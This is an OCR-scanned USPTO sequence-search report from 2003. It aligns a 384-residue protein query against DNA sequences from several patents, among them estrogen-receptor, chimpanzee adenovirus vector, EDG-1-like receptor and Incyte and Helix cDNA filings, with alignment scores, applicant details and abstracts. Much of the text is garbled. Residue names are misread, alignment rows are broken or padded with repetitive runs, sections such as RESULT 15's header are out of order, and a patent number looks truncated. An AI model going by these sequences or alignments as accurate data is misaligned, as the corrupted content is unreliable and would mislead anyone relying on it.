; TITLE OF INVENTION: NON-STEROIDAL ESTROGEN-RECEPTOR
; FILE REFERENCE: 28600-20210.00
; CURRENT APPLICATION NUMBER: US/09/773,816
; PRIOR FILING DATE: 2000-10-25
; PRIOR FILING DATE: 2000-10-25
; PRIOR FILING DATE: 2000-01-31
; NUMBER OF SEQ ID NOS: 1
; SOFTWARE: FastSeq for Windows Version 4.0
; SEQ ID NO 1
; LENGTH: 23673
; TYPE: DNA
; ORGANISM: Human
; FEATURE:
; NAME/KEY: misc.feature
; LOCATION: (1)..(23673)
; OTHER INFORMATION: n = A,T,C or G
US-09-773-816-1

Alignment Scores:
Pred. No.: 24.2 Length: 23673
Score: 96.00 Matches: 94
Percent Similarity: 35.04% Conserved: 50
Best Local Similarity: 22.87% Mismatches: 129
Query Match: 4.76% Indels: 138
DB: 4 Gaps: 21

US-09-784-810a-2 (1-384) x US-09-773-816-1 (1-23673)
OY      6  GlyProArgGlyValIleu-----ProArgProCysArgValIleuValIleuAsn 22
Db      4706  GGCCTCCGCGCTCGCGGTACGCAACACCCCGCGCTCCGCTTCGCGCGG 4765
OY      23  ProArgGlyIyLysGlyAlaIleuGlnIleuPheArgSerHisValGlnProIleu 42
Db      4766  CCGGCGGAGGCGGGGTGCGCTGCTGGAGCACCGCGCGGACCGCGCTTCAC 4825
OY      43  AlaGlu-----AlaGluIleuSerPheThr 50
Db      4826  GCGGACAGGGGACTCCCGTCCGCGCTTCGCGGCTTCGCGGACATCTGTCGACG 4885
OY      51  -----LeuMetIleuThrIleuArgAsn 58
Db      4886  AGGAGGTGCTGTGCGCTCCGCGCGCACTTGTCTGTGAGACACCTGCGCGAGAAC 4945
OY      59  HisAlaIyGluIleuValIyArgSerGluIleuGlnIleuValIyArgTrpAspAlaIleuMet 78
Db      4946  CCGATG-----GTGGTGGCGCAC-----GTTGGCGCTG----- 4975
OY      79  SerGlyAspIyLeuMetHisGluValIyAlaAsnGlyIleuMetGluArgProAspTrpGlu 98
Db      4976  -----ACCTGGAACCTGTGCG 4990

```

QY 99 ThrAla-----IleGlnLysProLeuCySerLeuProAlaGlySerGlyAsnAlaLeu 116
DB 4991 AGCGGGGGCGGATCGGGCGAGGGCGCTTTCGGCGTCCGGCCACACAGACGCTTG 5050
QY 117 AlaAlaSerLeuAsnHisTyrAlaGlyTyrGlnGlnValThrAsnGlnAspLeuThr 136
DB 5051 GCCAGACACGAGTCTACGACGCGGGC-----ACGGTGTACCGG 5089
QY 137 AsnCyThrLeuLeuLeuCyArgProValLeuSerPrometAsnLeu-----LeuSerLeu 155
DB 5090 CGCTGACGCTGTGTCTGACGCGAGACGGCGCGCGCGGGCGGTGAACCTGTCTGATC 5149
QY 156 HisThrAlaSerGlyLeuArgSerPheSerValLeuSerLeuAlaTropolyPheIleAla 175
DB 5150 AGCCTGCGCTCGGACGACATCCG-----5173
QY 176 AspValAspLeuGlnSerAspLysTyrArgArgLeuGlyLys-----MetArgPhe 192
DB 5174 -----CGCGTGGGGTCTCGCGCGCTGTATGCGGCGAC 5203
QY 193 ThrLeuGlyThrPheLeu-----ArgLeuAlaAlaLeuAlaGlyThrTyrArgGlyArgLeuAla 211
DB 5204 TCCATGACACGCGCTGTGGTGGATGCTTCTGCGCGACGCTGACGCGGACGCGCGG 5263
QY 212 ThrLeuProValGlyArgValGlyPheLeuThrProAlaSerProValValAlaGlnGln 231
DB 5264 GCGAC-----AGGATCTGCTCGCGGACACGAGTGTGACGCGGACGCGGCTGTCTG 5314
QY 232 GlyProValAspAla-----HisLeuValProLeuGlnGlnValProSerHis 248
DB 5315 ACCGGGTCTGACCTGATACGGGACGAGTGTGACCTGATGACGAGACGAGTGTCTGCGGCG 5374
QY 249 TrpGlnValValProAspGlnAspPheValLeuValLeuAlaLeuLeuHisSerHisLeu 268
DB 5375 -----GCGAGACGAGTGTGACGAGTGTG 5395
QY 269 -----AlaSerGlnMetPheAla 274
DB 5396 CCGGCGCGGACGACG 5455
QY 275 Ala-----PrometGlyArgCysAlaAlaGlyValMetHisLeu-----PheTyrValArgAla 292
DB 5456 GCGAGCGCGCGCGGAGCG 5515
QY 293 GlyValSerArgAlaMetLeuLeuArgLeuPhe-----LeuAlaMetGlyLysGlyArgHis 312
DB 5516 TGCACGAGACGCTCGCTTCCGCCACAGTGTGACGAGTGTGCGTACGCGTGTGCGGCG 5575
QY 312 etGlnTyrGlnCysArgProTyrLeu-----ValTyrValProValAla 326
DB 5576 TGGATCTGACGCTCGCGGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCG 5634
QY 326 LaphArgLeuGlnProLysArgGlyLysGlyValPheAlaValAspGlyGlyLeuMetV 346
DB 5635 -----GAACACCGGCAACGCGGTGCGTGTGCGCGGAA-----CGTG 5674
QY 346 AlSerGlnAlaValGlnGlnValHis 355
DB 5675 TCGGGGAAGTCTCGCTGAGTGTGACAC 5703

RESULT 14
US-08-923-137-2/c
Sequence 2, Application US/08923137
Patent No. 6083716
GENERAL INFORMATION:
APPLICANT: Wilson, James M.
APPLICANT: Farina, Steven F.
APPLICANT: Fisher, Krishna J.
TITLE OF INVENTION: Chimpanzee Adenovirus Vectors
NUMBER OF SEQUENCES: 5
CORRESPONDENCE ADDRESS:
ADDRESSEE: Howson and Howson
STREET: Spring House Corporate Cntr., P.O. Box 457

CITY: Spring House
STATE: Pennsylvania
COUNTRY: United States of America
ZIP: 19477
COMPUTER READABLE FORM:
MEDIUM TYPE: Floppy disk
COMPUTER: IBM PC compatible
OPERATING SYSTEM: PC-DOS/MS-DOS
SOFTWARE: Patent Release #1.0, Version #1.30
CURRENT APPLICATION DATA:
APPLICATION NUMBER: US/08/923,137
FILING DATE:
CLASSIFICATION: 435
PRIOR APPLICATION DATA:
APPLICATION NUMBER: US 60/024,700
FILING DATE: 06-SEP-1996
ATTORNEY/AGENT INFORMATION:
NAME: Bak, Mary E.
REGISTRATION NUMBER: 31,215
REFERENCE/DOCKET NUMBER: GNPVN.02ICPIUSA
TELECOMMUNICATION INFORMATION:
TELEPHONE: 215-540-9200
TELEFAX: 215-540-5818
INFORMATION FOR SEQ ID NO: 2:
SEQUENCE CHARACTERISTICS:
LENGTH: 36519 base pairs
TYPE: nucleic acid
STRANDEDNESS: double
TOPOLOGY: unknown
MOLECULE TYPE: cDNA
US-08-923-137-2

Alignment Scores:
Pred. No.: 63.4 Length: 36519
Score: 95.00 Matches: 81
Percent Similarity: 34.16% Conservatve: 43
Best Local Similarity: 22.31% Mismatches: 133
Query Match: 4.71% Indels: 106
DB: Gaps: 17

US-09-784-810A-2 (1-384) x US-08-923-137-2 (1-36519)
QY 56 ArgArgAsnHisAla-----ArgGlnLeuValArgSerGlnGlnLeuGlyArgTrrAsp 73
DB 12717 CGGCGTACAGACGCTGTGACGAGTGTGCGCGCGCGCGCGCGCGCGCGCGCGCG 12658
QY 74 AlaLeuValValMetSerGlyAspGlyLeuMetHis-----GlnValValAsnGly 90
DB 12657 GCCCTGCAAGTCTTGAAGACCTGTGCTGACGCTGTGACGCTGTGCAAGCTGTGCG 12598
QY 91 LeuMetGln-----Arg-ProAspTrrPheValIle-----101
DB 12597 CTGGAAGAAGTACCTCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCG 12538
QY 102 -----GlnLysProLeuCySerLeu-----ProAlaGlySer-----112
DB 12537 CAGGGCGAGGGCGCGTGAATGTGTGTATGCTCTCTGCGCGCGCGCGCGCGCGCG 12478
QY 113 -----GlyAsnAlaLeuAlaAspLeuAsn-----121
DB 12477 CTGGGTGTGAGGAAGGCTTTCAGCGCCACATGATCCAGTGTGACCTCGCGTGA 12418
QY 122 -----HisTyrAlaGlyTyrGlnGlnValThrAsnGlnAspLeuLeuThrAs 137
DB 12417 CCGCTGCGCGTGGCGCCACGCGCTCGCGGACGCTGCTGACATGCGGTCCAGTGTG 12360
QY 137 nCyThrLeuLeuLeu-----CysArgPr 145
DB 12359 -TGCAGCTGT 12301
QY 145 oValLeuSerPro-----MetAsnLeuLeuSerLeuHisThrAlaSerGlyLeuArgSerPh 164
DB 12300 GCGCTGTGTCGCGCGCGGATGCGCTTGTCTTGTCTTGTCTTGTCTTGTCTTGTCTT 12241

```

OY 164 eserValleuSerleuAlaTPglYpHeleAlaAspValaAspLeuGluSerAspLysTy 184
DB 12240 CTGCTGGGTGGGGGTTG-----GACCGGAGAGGACACACGGC 12205
OY 184 rArgArGleuGlyGluMetArGpHeThrLeuGlyTThrPheLeuArGleuAlaAlaLeuAr 204
DB 12204 CTCAGAGATGGCCGAGAGCGCTGGCTGGCGCTGGCTGCTGTAAGAGCTTCGGGCTTCG 12145
OY 204 gThrTyArGArGlyArGleuAlaThrLeuProValaGlyArGValaGlyPheLysThrProAl 224
DB 12144 GGTGTCAGCGCATGATGCTTCGATG-----12117
OY 224 aserProValaValaGlnGlnGlyProValaAspAlaHisLeuValProLeuGluGluG1 244
DB 12116 -----GCTGGGTCGCAATGCTCGAGAGATT 12091
OY 244 nValProSerHisTrp-GlnValValPro-----AspGluAspPheValLeuV 260
DB 12090 AATCCCGACGCGCTGCTCTGCAGCGCCGCGCATCGCGGATCGAGAGGTGGCTTGG 12031
OY 260 alLeuAlaLeuLeuHisSerHisLeuAlaSerGluMetPheAlaAlaProMetGlyArGC 280
DB 12030 TTGTTCATCTACCAAAATACGTCGCGCATCATCTTCAGGTA---CTCGCCCTCC 11974
OY 280 ySaLaAlaGlyValaMetHisLeuPheTyValaArgAlaGlyValaSerArGAlaMetLeuL 300
DB 11973 TCGTCACACCTCATCGTCACCTCTCTACGTA---GGGTCTGCGCGCGCGCTCCAGGCC 11917
OY 300 euArGleuPheLeuAlaMetGlyLysGlyArGHisMetGlyTyrGlyCysProTyLeuV 320
DB 11916 CGCGGCTGGCTGGCCAGTCAGTCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCGCG 11876
OY 320 aTyValProValaAlaPheArGleuGlyProLysAspGlyLysGlyValaPheAlaV 340
DB 11875 -----GTAAGCTCTCCCTCCCTGCTGCTGCGCGCGCGCGCGCGCGCGCGCG 11830
OY 340 alAspGlyGluMetValaSerGlu-----AlaValaGlnGlyGlnVal 355
DB 11829 CTAGCATCAGCTCTGTCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 11770
OY 355 lSPro 356
DB 11769 ATCCT 11765

```

```

NAME: Billings, Lucy J.
REGISTRATION NUMBER: 36,749
REFERENCE/DOCKET NUMBER: PF-0271 US
TELECOMMUNICATION INFORMATION:
TELEPHONE: 415-845-0555
TELEFAX: 415-845-4166
INFORMATION FOR SEQ. ID NO. 2:
SEQUENCE CHARACTERISTICS:
LENGTH: 1649 base pairs
TYPE: nucleic acid
STRANDEDNESS: single
TOPOLOGY: linear
IMMEDIATE SOURCE:
LIBRARY: TYMNOR01
CLONE: 144690
US-08-845-566-2
Alignment Scores:
Pred. No.: 0.57 Length: 1649
Score: 94.00 Matches: 83
Percent Similarity: 32.08% Conservative: 36
Best Local Similarity: 22.37% Mismatches: 115
Query Match: 4.67% Indels: 137
Gaps: 20
US-09-784-810A-2 (1-384) x US-08-845-566-2 (1-1649)
OY 1 MetAspProAlaGlyGlyPro-----7
DB 1612 TTGACACCTTTAAANGNCCCCCNNTNTNTACACCTTANGNNTTTCACGNTAAC 1553
OY 8 -----ArgGlyValaLeuProArg-----ProCysArgVal 17
DB 1552 ATTAATCAAACTTCAATGTTCCAGAGGACATGCCAAGTCCACACCCCTTGACGGCTG 1493
OY 18 LeuValLeuLeuAsnProArgGlyGlyLysGlyLysAlaLeuGlnLeuPheArgSerHis 37
DB 1492 GGAACCTACTGAGGCGCCAGAGAGGGCGGGA-----CTTCCCAAGATATAC 1445
OY 38 ValGlnProLeuLeu-AlaGluAlaGluLeuSerPheThrLeuMetLeuThrGluArgAr 57
DB 1444 ACAGAACGGGGTGTGGGGAA-----CCCACTCG 1415
OY 57 GAsnHisAlaArgGluLeuValaArgSerGluLeuGlyLysGlyTyrPAspAlaLeuVala 77
DB 1414 CCCCCACACACAG-----GTGCTCTCTGCTCTGACGGAGGTGGGTGGCTTGCCTCT 1361
OY 77 lMetSerGlyAspGlyLeuMetHisGluValaValaAsnGlyLeuMetGluArgProAspTr 97
DB 1360 TGTCCAGAGTGAC-----CATGG-----AACCCATTGG 1331
OY 97 pGluThrAlaIleGlnLysPro-----LeuCysSerLe 108
DB 1330 GCGT-----CAGAACCCCGAGAGGCCACCGGAGACATGGGGGCTGTCCCT 1280
OY 108 uProAlaGlySerGlyAsn-----114
DB 1279 TCCCTGCTCCCATACAGCGAGGGCTGTCACACAGCTTCTTACCACGAGAGGC 1220
OY 115 -----AlaLeuAlaSerLeuAsnHisTyrAlaGlyTyrGlnGluValaThrAsn-- 131
DB 1219 CTGCTGGACAGCACCGGGTGTGCACCATCCACAGCAAGACTCACTTCAAGATCT 1160
OY 132 -----GluAspLeuLeuThrAsnGlySerThrLeuLeuLeuGlyArgProValaLeuSerPr 149
DB 1159 CCGACACCTGAGATGCTGAGACAGGGGCTCCCGCATCCGAAACTAGACGAGCGGAGACC 1100
OY 149 oMetAsnLeuSerLeuHisThrAlaSerGlyLeuArgSerPheSerValaLeuSerLe 169
DB 1099 GCGAAAGCTG-----TCCCTTGGCTCAGAGAGCTGTGCGTGGTGGAG 1055
OY 169 uAlaTrpGlyPheAlaAsp-----ValaAspLeuG1 180

```

RESULT 15
 US-08-845-566-2/c
 Sequence 2, Application US/08845566
 Patent No. 591214
 GENERAL INFORMATION:
 APPLICANT: Au-Young, Janice
 APPLICANT: Guegler, Karl
 TITLE OF INVENTION: EDG-1 LIKE RECEPTOR
 NUMBER OF SEQUENCES: 3
 CORRESPONDENCE ADDRESS:
 ADDRESSEE: Incyte Pharmaceuticals, Inc.
 STREET: 3174 Porter Drive
 CITY: Palo Alto
 STATE: CA
 COUNTRY: USA
 ZIP: 94304
 COMPUTER READABLE FORM:
 MEDIUM TYPE: Diskette
 OPERATING SYSTEM: DOS
 SOFTWARE: FASTSEQ for Windows Version 2.0
 CURRENT APPLICATION DATA:
 APPLICATION NUMBER: US/08/845,566
 FILING DATE: Filed Herewith
 PRIOR APPLICATION DATA:
 APPLICATION NUMBER:
 FILING DATE:
 ATTORNEY/AGENT INFORMATION:


```
Db 1054 CTCC---GGAGTGAAGCTTCAGAGGCCCGGAGCCAGAGTCCCGGGGCTTCGCATGCCC 998
QY 180 uSerAspIysTyrTrgArgLeuGIyGIuMetArgPheThrLeuGIYThrPheLeu----- 198
Db 997 AGCCGAGACACCCGACAGAGGAGGCTGAGCAGCGGCTTCGACACCTCCCTGCG 938
QY 199 -----ArgLeuAlaAlaLeuArgThrTyrArgGIYArgLeuAlaTh 212
Db 937 GAAGAGTAGATGATGGGGTTGACCCGCGAGTTGAGAGCGGCGCAGGGCCAGGATCCAGTC 878
QY 212 rLeuPro-----ValGIYArgValGIYPhelYstThrProAlaSerProVa 227
Db 877 CATGCCCCGAGTACTCTGCTGGGCCAGAGGTTGAGCCAAAGAGTCGCGCCAGC----- 823
QY 227 lValValGIuGIuGIYProValAspAlaHisLeuValProLeuGIuGIuGIuValProSe 247
Db 822 -----AGCAGCCCC-----GAGAGTGGGCCCCAGC 797
QY 247 rHisTrpGIuValValProAspGIuAspPheValLeuValLeuAlaLeuHisSerHI 267
Db 796 ACACGAGAGAGCCAGCAGAT-----CATCAGCA 767
QY 267 sLeuAlaSerGIuMetPheAlaAlaProMetGIYArgCysAlaAlaGIYValMetHisLe 287
Db 766 CCGTCTTCAGCAGCGGCGGCGCTTGGCGGCGGCTGCGGCGTGGGGCTTCTG----- 712
QY 287 uPheTyrValArgAlaGIYValSerArgAla 297
Db 711 -----CCGCTGGCTTCGACACGAGCG 691
```

Search completed: July 12, 2003, 20:38:12
Job time : 3167 secs

THIS PAGE BLANK (USPTO)

KW arteriosclerosis; atherosclerosis; leukaemia; melanoma; bronchitis;
 KW autoimmune disorder; inflammatory disorder; Addison's disease;
 KW acquired immunodeficiency disease; allergy; diabetes mellitus;
 KW rheumatoid arthritis; microbial infection; trauma; ss.

OS Homo sapiens.

Key Location/Qualifiers
 CDS 130..1284
 FT /*tag=a
 FT /product="regulator of intracellular phosphorylation"

XX WO20005332-A2.

XX 21-SEP-2000.

XX 17-MAR-2000; 2000WO-US07277.

XX 18-MAR-1999; 99US-0125593.

XX 20-MAY-1999; 99US-0135049.

XX 09-JUL-1999; 99US-0143188.

XX (INCY-) INCYTE PHARM INC.

XX Baugman O, Tang YT, Yue H, Hillman JL, Baughn MR, Azimzai Y;
 PI Lu DAM, Au-Young J;

XX WPI: 2000-602121/57.

XX P-PSDB: MAB18659.

XX Novel human intracellular phosphorylation regulator polypeptides and
 PT polynucleotides for diagnosis, prevention and treatment of
 PT neurological, cell proliferative and autoimmune/inflammatory disorders
 PT
 XX
 XX Claim 4; Page 89; 96pp; English.

XX The present sequence encodes a human regulator of intracellular
 CC phosphorylation (HRIP). HRIP is useful for screening agonists and
 CC antagonists of HRIP polypeptide. HRIP and its agonist or antagonist
 CC are useful for treating a disease or condition associated with
 CC decreased or increased expression of functional HRIP. Diseases treated
 CC or diagnosed include neurological disorders such as stroke, Parkinson's
 CC disease, demyelinating diseases, bacterial and viral meningitis and
 CC other developmental disorders of the central nervous system.
 CC neuromuscular disorders, myasthenia gravis, cell proliferative disorders
 CC such as actinic keratosis, arteriosclerosis, atherosclerosis and cancer
 CC including leukaemia, melanoma, myeloma and cancer of the adrenal gland,
 CC bladder, bone, bone marrow, liver, lung, muscle, ovary, autoimmune/
 CC inflammatory disorder such as Addison's disease, acquired
 CC immunodeficiency diseases, allergies, bronchitis, diabetes mellitus,
 CC rheumatoid arthritis, microbial infection and trauma.

XX Sequence 1573 BP; 274 A; 480 C; 514 G; 305 T; 0 other;

XX Alignment Scores:

Pred. No.: 1,41e-188 Length: 1573
 Score: 1962.00 Matches: 375
 Percent Similarity: 98.18% Conservative: 2
 Best Local Similarity: 97.66% Mismatches: 7
 Query Match: 97.37% Indels: 0
 DB: 21 Gaps: 0

US-09-784-810A-2 (1-384) x AAA75676 (1-1573)

OY 1 MetAspProAlaGlyGlyProArgGlyValLeuProArgProCysArgValLeuValLeu 20
 DB 130 ATGGATCCAGCGGGGGCCCGGGGGCGTCCCGCGGCGCTGCGGTGCTG 189
 OY 21 LeuAsnProArgGlyGlySerGlyLysAlaLeuGlnLeuPheArgSerHisValGlnPro 40
 DB 190 CTGAACCCGCGGGGCAAGGGCAAGCCCTTGACGCTTCCTCCGAGTCACTGACGCC 249

OY 41 LeuLeuAlaGluAlaGluIleSerPheThrLeuMetLeuThrGluArgArgAsnHisAla 60
 DB 250 CTTTGGCTGAGAGCTGAATCTCTTACAGCTGATGCTACAGCGGAGACCAACGACG 309
 OY 61 ArgGluLeuValArgSerGluGluLeuGlyArgTTPaPAlaLeuValMetSerGly 80
 DB 310 CGGGAGCTGGTGGCTGGAGAGCTGGGCGCCCTGGAGAGCTGGTGGTCA 369
 OY 81 AspGlyLeuMetHisGluValValAlaAsnGlyLeuMetGluArgProAspTProGlnAla 100
 DB 370 GACGGCTGATGACAGAGTGGTGAACGGGCTCATGAGAGCGCTGACTGGAGAGCCGCC 429
 OY 101 IleGlnIysProLeuCysSerLeuProAlaGlySerGlyAsnAlaLeuAlaSerLeu 120
 DB 430 ATCCAGAAAGCCCTGTAGACCTCCAGAGAGCTGTGGAAAGCGCTGGACCTTCCTTG 489
 OY 121 AsnHisTyrAlaGlyTyrGluGlnValThrAsnGluAspLeuLeuThrAsnCysThrLeu 140
 DB 490 AACCATTTATGCTGCTAGACAGAGCTACCAATGAAGACCTTCGACCAACTGCAGCTA 549
 OY 141 LeuLeuCysArgProValLeuSerProMetAsnLeuLeuSerLeuHisThrAlaSerGly 160
 DB 550 TTGCTGTGCGCGCGCTGCTGTACACCATGAACCTGCTGTCTGACACAGCTTCGGGG 609
 OY 161 LeuArgSerPheSerValLeuSerLeuAlaTrrGlyPheIleAlaAspValAspLeuGlu 180
 DB 610 CTGGCCCTTCTCTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 669
 OY 181 SerAspIysTyrArgArgLeuGlyLysLeuMetArgPheThrLeuGlyThrPheLeuArgLeu 200
 DB 670 AGTGAGAGTATGCGCGCTGCGGAGAGTATGCGCTTACCTGCGGACCTTCGCTGCTG 729
 OY 201 AlaAlaLeuArgThrTyrArgIleValArgLeuAlaThrLeuProValGlyValGlyPhe 220
 DB 730 GCAGCCCTGCGACCTACCGCGCGAGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 789
 OY 221 LysThrProAlaSerProValValAlaGlnGlnGlyProValAspAlaHisLeuValPro 240
 DB 790 AAGACACCTGCTCCCGCTTGTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 849
 OY 241 LeuGluGluGlnValProSerHisTrrGlnValValProAspGluAspPheValLeuVal 260
 DB 850 CTGGAGGAGCCAGTCCCTCTCATGAGAGTGGTCCGAGAGAGCTTGTGCTAGTC 909
 OY 261 LeuAlaLeuLeuHisSerHisLeuAlaSerGluMetPheAlaAlaProMetGlyArgCys 280
 DB 910 CTGGACACTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 969
 OY 281 AlaAlaGlyValMetHisLeuPheThrValAlaArgAlaGlyValSerArgAlaMetLeuLeu 300
 DB 970 GCAGCTGGGCTGATGATCTGTTCTTACGTGGGGGGGAGTGTCTGCTGCTGCTGCTG 1029
 OY 301 ArgLeuPheLeuAlaMetGluLysGlyArgHisMetGluTyrGluCysProTyrLeuVal 320
 DB 1030 CCCCTCTCTCTGCGATGAGAGGAGGAGGATATGAGTATGAGTATGAGTATGAGTAT 1089
 OY 321 TyrValProValValAlaPheArgLeuGluIleProLysAspGlyLysGlyValPheAlaVal 340
 DB 1090 TATGTGCCCCGTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1149
 OY 341 AspGlyGluLeuMetValSerGluValAlaGlnGlyGlnValHisProAsnTyrPheThr 360
 DB 1150 GATGGGGAATGATGTTGATGCGAGGCGCGTGCAGGGGCGAGGTGCACCAAACTACTTGG 1209
 OY 361 MetValSerGlyCysValGluProProProSerTrrPlyPProGlnGlnMetProProPro 380
 DB 1210 ATGGTCAGGCTGTGGTGGAGGCCCGCCACAGTGAAGCCACAGATGACACCGCA 1269
 OY 381 GluGluProLeu 384
 DB 1270 GAAGAGCCCTTA 1281

RESULT 3

Db	1170	CGCCTCTTCCTGGCCCATGAGAGAGGCGCAGGCTATTCGAGTATGTAATGCCCTTACTTGCTA	1229
Oy	321	TyTAlProVAlValAlAlAphearGLeugluProLysAspGlyTysGlyValPheAlaVal	340
Db	1220	TATGTGCCCGGTGTCGCTTCGCTTGAGAGCCCAAGAGATGGAGAAAGGTGTGTCAGTG	1289
Oy	341	AspGlyLeuMetValSerGluAlaValGlnGlyGlnValHisProAsnTyrPheTrp	360
Db	1290	GATGGCGGAAATGATGAGCTTACGACGAGCGCGTCGAGGCGCAGGTGCACCCAACTACTCTGTG	1349
Oy	361	MetValSerGlyCysValGluProProSerTrpLysProGlnGlnMetProProPro	380
Db	1350	ATGTGTACAGGGTTCCTCGTGGAGCCCGCCGACGCTGGAAGCCCCAGAGATGCCACCGCA	1409
Oy	381	GluGluProLeu 384	
Db	1410	GAAGAGCCCTTA 1421	
RESULT 4			
AAH16415			
ID	AAH16415	standard; cDNA; 1772 BP.	
AC	AAH16415;		
XX			
XX	26-JUN-2001	(first entry)	
DT			
XX			
DE	Human cDNA sequence SEQ ID NO:15393.		
XX			
KW	Human; primer; detection; diagnosis; antisense therapy; gene therapy; ss.		
XX			
OS	Homo sapiens.		
XX			
PN	EP1074617-A2.		
XX			
PD	07-FEB-2001.		
XX			
PF	28-JUL-2000; 2000EP-0116126.		
XX			
PR	29-JUL-1999; 99JP-0248036.		
XX			
PR	27-AUG-1999; 99JP-0300253.		
XX			
PR	11-JAN-2000; 2000JP-0118776.		
XX			
PR	02-MAY-2000; 2000JP-0183767.		
XX			
PR	09-JUN-2000; 2000JP-0241899.		
XX			
PA	(HELI-) HELIX RES INST.		
XX			
PI	Ota T, Isogai T, Nishikawa T, Hayashi K, Saito K, Yamamoto J;		
XX			
PI	Ishii S, Sugiyama T, Wakamatsu A, Nagai K, Otsuki T;		
XX			
DR	WPI: 2001-318749/34.		
XX			
PT	Primer sets for synthesizing polynucleotides, particularly the 5602		
XX	full-length cDNAs defined in the specification, and for the detection		
PT	and/or diagnosis of the abnormality of the proteins encoded by the		
XX	full-length cDNAs -		
PS	Claim 8; SEQ ID 15393; 2537bp + CD ROM; English.		
XX			
CC	The present invention describes primer sets for synthesizing 5602		
CC	full-length cDNAs defined in the specification. Where a primer set		
CC	comprises: (a) an oligo-dT primer and an oligonucleotide complementary		
CC	to the complementary strand of a polynucleotide which comprises one of		
CC	the 5602 nucleotide sequences defined in the specification, where the		
CC	oligonucleotide comprises at least 15 nucleotides; or (b) a combination		
CC	of an oligonucleotide comprising a sequence complementary to the		
CC	complementary strand of a polynucleotide which comprises a 5'-end		
CC	sequence and an oligonucleotide comprising a sequence complementary to a		
CC	polynucleotide which comprises a 3'-end sequence, where the		
CC	oligonucleotide comprises at least 15 nucleotides and the combination		
CC	of the 5'-end sequence/3'-end sequence is selected from those defined in		
CC	the specification. The primer sets can be used in antisense therapy and		
CC	in gene therapy. The primers are useful for synthesizing polynucleotides,		
CC	particularly full-length cDNAs. The primers are also useful for the		

CC	detection and/or diagnosis of the abnormality of the proteins encoded by
CC	the full-length cDNAs. The primers allow obtaining of the full-length
CC	cDNAs easily without any specialised methods. AAH3166 to AAH13628 and
CC	AAH13633 to AAH18742 represent human cDNA sequences; AAB92446 to
CC	AAB95893 represent human amino acid sequences; and AAH13629 to AAH13632
CC	represent oligonucleotides, all of which are used in the exemplification
CC	of the present invention.
XX	
SQ	Sequence 1772 BP; 285 A; 566 C; 585 G; 336 T; 0 other;
Alignment Scores:	
Pred. No.:	1.67e-188
Score:	1962.00
Best Local Similarity:	98.18%
Query Match:	97.66%
DB:	22
	Gaps: 0
US-09-784-810A-2 (1-384) x AAH16415 (1-1772)	
QY	1 MetASPPProAlaGlyGlyProArgGlyValLeuProArgProCysArgValLeuValLeu 20
DB	350 ATGATCTCCAGCGGGGGGGCCCCGGGGGGCTGCTCCGGCGCCCTGGCGGCTGCTGCTG 409
QY	21 LeuAsnProArgGlyGlyGlyLysAlaLeuGlnLeuPheArgSerHisValGlnPro 40
DB	410 CTGAACCCCGCGGGGGGCAAGGGCAAGGCTTTGACGCTCTTCGGAGTCACGTGCAGCC 469
QY	41 LeuLeuAlaGlnAlaGlnIleSerPheThrLeuMetLeuThrGlnArgArgAsnHisAla 60
DB	470 CTTTGGGTGGAGGCTGGAATCTCTTCACGCTGAGGCTCACTGACGGCGGCAACACCGC 529
QY	61 ArgGlnLeuValArgSerGlnGlnLeuGlyArgTrpAspAlaLeuValMetSerGly 80
DB	530 CGGAGGCTGGTCCGGTCCGAGGAGCTGGGGCCGCTGGAGACGCTGTGTGTGTCATGTCTG 589
QY	81 AspGlyLeuMetHisGlyValValAsnGlyLeuMetGluArgProAspTrpGluThrAla 100
DB	590 GACGGGCTGATGCACAGAGGTGGTGAACGGGCTCATGAGAGGCGCTGACTGGAGACCGCC 649
QY	101 IleGlnIysProLeuCysSerLeuProAlaGlySerGlyAsnAlaLeuAlaLaserLeu 120
DB	650 ATCCCAAGAGCCCTGTGTAGCTCCACAGGCTCTGGCAACGGCGCTGGACGCTTCCTG 709
QY	121 AsnHisTyrAlaGlyTyrGlyGlnValThrAsnGluAspLeuLeuThrAsnCysThrLeu 140
DB	710 AACCTTTATGCTGGCTATGAGCAGGTCCACCAATGAAGACCTCTGACCACTGCACGCTA 769
QY	141 LeuLeuCysArgProValLeuSerProMetAsnLeuLeuSerLeuHisThrAlaSerGly 160
DB	770 TTGCTGTGGCGCGCGCTGCTGCACCCATGAACGCTGTGCTGCACACAGGCTTCGGGG 829
QY	161 LeuArgSerPheSerValLeuSerLeuAlaTrpGlyPheIleAlaAspValAspLeuGlu 180
DB	830 CTGCCCTCTCTCTGTGCTCAGCTGCCTGGCGCTTCATTTGCGATGTGGACCTTAAG 889
QY	181 SerAspLysTyrArgArgLeuGlnGlyIleMetArgPheThrLeuGlyThrPheLeuArgLeu 200
DB	890 ACTGGAAGATATCGCGCTGTGGGGAGATGCGCTTCACTCTGGGACCTTCTCGGCTGTG 949
QY	201 AlaAlaLeuArgThrTyrArgGlyArgLeuAlaThrLeuProValGlyArgValGlyPhe 220
DB	950 GGAGCGCTGGCGGACCTACCGGGGGCGAGTGGGCTACGTCGTAAGGAAGTGGGTTC 1009
QY	221 LysThrProAlaSerProValValValGlnGlnGlyProValAspAlaHisLeuValPro 240
DB	1010 AAGACACCTGCTCCCGCTGTGTGTCTCCAGAGGGCCCGGTAAGATGACACACTGTGCA 1069
QY	241 LeuGlnGlnGlnValProSerHisTrpGlnValValProAspGluAspPheValLeuVal 260
DB	1070 CTGGAGGAGGACAGTCCCTCTCACTGGACAGTGTGTGCCGAGAGGACTTTGTGCTACTG 1129
QY	261 LeuAlaLeuLeuHisSerHisLeuAlaSerGluMetPheAlaAlaProMetGlyArgGly 280

Db 679 AAGACACCTGCCCTCCCGCTTGTGTCAGACGAGCGCGGTAGATGACACCTTGTGCCA 738
 QY 241 LeuGlulGluValProSerHisTrpGlnValValProAspGluAspPheValLeuVal 260
 Db 739 CTGGAGAGACCAAGTCCCTCTCAGTACGACAGTGTGTCCCGACGAGAGACTTGTGTCTAGTC 798
